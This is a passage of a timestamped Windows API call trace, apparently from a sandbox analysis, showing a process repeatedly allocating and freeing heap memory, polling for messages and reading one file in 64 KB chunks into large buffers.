RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.887] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.887] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9c8 | out: hHeap=0xe80000) returned 1 [0168.887] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0168.887] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0168.887] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.888] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0168.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.888] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0168.888] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0168.888] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.888] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.888] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0168.888] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0168.888] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0168.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.889] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0168.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8a8 [0168.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0168.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7cb8 [0168.889] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0168.889] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0168.889] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0168.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0168.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba4f8 [0168.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a38 [0168.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf8f8 [0168.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ba0 [0168.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779c0 [0168.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0168.889] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0168.889] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0168.890] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779c0 [0168.890] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0168.890] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0168.890] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b88 [0168.890] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a50 [0168.890] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf988 [0168.890] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.890] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xbdf3b8 | out: lpNewFilePointer=0x0) returned 1 [0168.890] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.890] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xbdf3b8 | out: lpNewFilePointer=0x0) returned 1 [0168.890] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x203e38) returned 0x35a1020 [0168.899] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xbdf3d0 | out: lpNewFilePointer=0x0) returned 1 [0168.899] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.911] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.914] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.916] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.918] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.920] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.922] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.924] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.926] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.929] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.931] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.975] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.977] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.980] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.982] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.984] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.986] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0168.998] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.000] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.001] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.003] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.005] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.007] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.009] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.046] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.048] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.050] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.051] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.053] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.055] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.057] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.058] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x10000, lpOverlapped=0x0) returned 1 [0169.060] ReadFile (in: hFile=0x2c4, lpBuffer=0x110c400, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xbdf3f8, lpOverlapped=0x0 | out: lpBuffer=0x110c400*, lpNumberOfBytesRead=0xbdf3f8*=0x3e38, lpOverlapped=0x0) returned 1 [0169.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0169.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0169.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0169.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0169.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x203e38) returned 0x4669020 [0169.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x35a1020 | out: hHeap=0xe80000) returned 1 [0169.251] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0169.252] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0169.252] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0169.252] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.252] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba688 [0169.252] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b88 [0169.252] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0169.252] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba6d8 [0169.252] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779c0 [0169.252] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0169.252] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077bb8 [0169.252] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.252] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077bd0 [0169.252] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0169.252] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a50 [0169.252] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0169.252] GetLastError () returned 0x0 [0169.252] SetLastError (dwErrCode=0x0) [0169.252] GetLastError () returned 0x0 [0169.252] SetLastError (dwErrCode=0x0) [0169.253] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bb8 | out: hHeap=0xe80000) returned 1 [0169.253] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0169.253] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0169.253] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bd0 | out: hHeap=0xe80000) returned 1 [0169.253] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba6d8 | out: hHeap=0xe80000) returned 1 [0169.253] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0169.253] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0169.253] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0169.253] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0169.254] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba688 | out: hHeap=0xe80000) returned 1 [0169.254] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x203e40) returned 0x35ab020 [0169.339] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x4669020 | out: hHeap=0xe80000) returned 1 [0169.356] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0169.356] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0169.356] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.356] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0169.356] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0169.356] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.356] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0169.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0169.357] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba598 [0169.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b88 [0169.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf998 [0169.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0169.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec24f8 [0169.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779c0 [0169.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b88 [0169.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8a8 [0169.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0169.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9a8 [0169.357] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9a8 | out: hHeap=0xe80000) returned 1 [0169.357] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0169.358] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.358] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0169.358] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0169.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0169.358] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0169.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0169.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0169.359] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.359] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0169.359] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba8b8 [0169.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a50 [0169.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0169.359] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b88 [0169.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0169.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0169.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0169.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba8b8 | out: hHeap=0xe80000) returned 1 [0169.360] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.360] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba458 [0169.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a50 [0169.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0169.360] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b88 [0169.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0169.360] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0169.361] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0169.361] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba458 | out: hHeap=0xe80000) returned 1 [0169.361] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0169.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9a8 [0169.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0169.361] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0169.361] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9a8 | out: hHeap=0xe80000) returned 1 [0169.361] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0169.361] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec3d0 [0169.361] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.362] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec3d0 | out: hHeap=0xe80000) returned 1 [0169.362] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0169.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0169.362] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0169.362] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0169.362] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0169.362] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0169.362] 